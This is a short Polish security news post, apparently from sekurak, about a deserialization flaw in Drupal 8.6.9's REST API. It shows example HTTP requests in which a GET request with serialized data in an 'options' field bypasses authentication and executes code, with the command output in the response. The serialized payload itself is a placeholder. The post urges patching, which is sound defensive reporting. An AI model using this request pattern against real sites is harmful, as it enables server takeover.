Akademia NIS2/KSC2 od sekuraka. 19 października start drugiej edycji!
Zobacz nasz aktualny kalendarz szkoleń!
Akademia NIS2/KSC2 od sekuraka. 19 października start drugiej edycji!
Zobacz nasz aktualny kalendarz szkoleń!
Niewiele trzeba było czekać na analizę ostatniego patcha wydanego przez ekipę Drupala. Jeśli mamy dostępne API RESTowe możemy wykonać taki request:
POST /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1
Host: 192.168.56.101
Content-Type: application/hal+json
Content-Length: 286
{
"_links": {
"type": {
"href": "http://192.168.56.101/drupal-8.6.9/rest/type/node/article"
}
},
"type": {
"target_id": "article"
},
"title": {
"value": "My Article"
},
"body": {
"value": "some body content aaa bbb ccc"
}
}
Bez uwierzytelnienia on nie przechodzi. Ale… jeśli zmienimy metodę z POST na GET, żądanie jest przetwarzane bez uwierzytelnienia!
Co więcej, w parametrze options (patrz poniżej) można przekazać ciąg znaków, który jest automatycznie deserializowany po stronie serwerowej i mamy wykonanie kodu po stronie serwerowej:
GET /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1
Host: 192.168.1.25
Content-Type: application/hal+json
Content-Length: 642
{
"link": [
{
"value": "link",
"options": "<SERIALIZED_CONTENT>"
}
],
"_links": {
"type": {
"href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default"
}
}
}
W odpowiedzi wynik naszego polecenia (w tym przypadku id):
HTTP/1.1 200 OK
Link: <...>
X-Generator: Drupal 8 (https://www.drupal.org)
X-Drupal-Cache: MISS
Connection: close
Content-Type: application/hal+json
Content-Length: 9012
{...}uid=33(www-data) gid=33(www-data) groups=33(www-data)
Polecamy jak najszybciej załatać Drupala.
PS
Jeśli interesuje Cię tematyka bezpieczeństwa API REST – zapraszamy na nasze autorskie szkolenie warsztatowe.
–ms
Szybka reakcja! Bo faktycznie mogloby to namieszac troche bez patcha. Z drugiej strony przy architekturze Docker-owej za duzo tutaj nie zdzialamy co dodaje pewny ‘layer’ bezpieczenstwa.
Pozdrawiam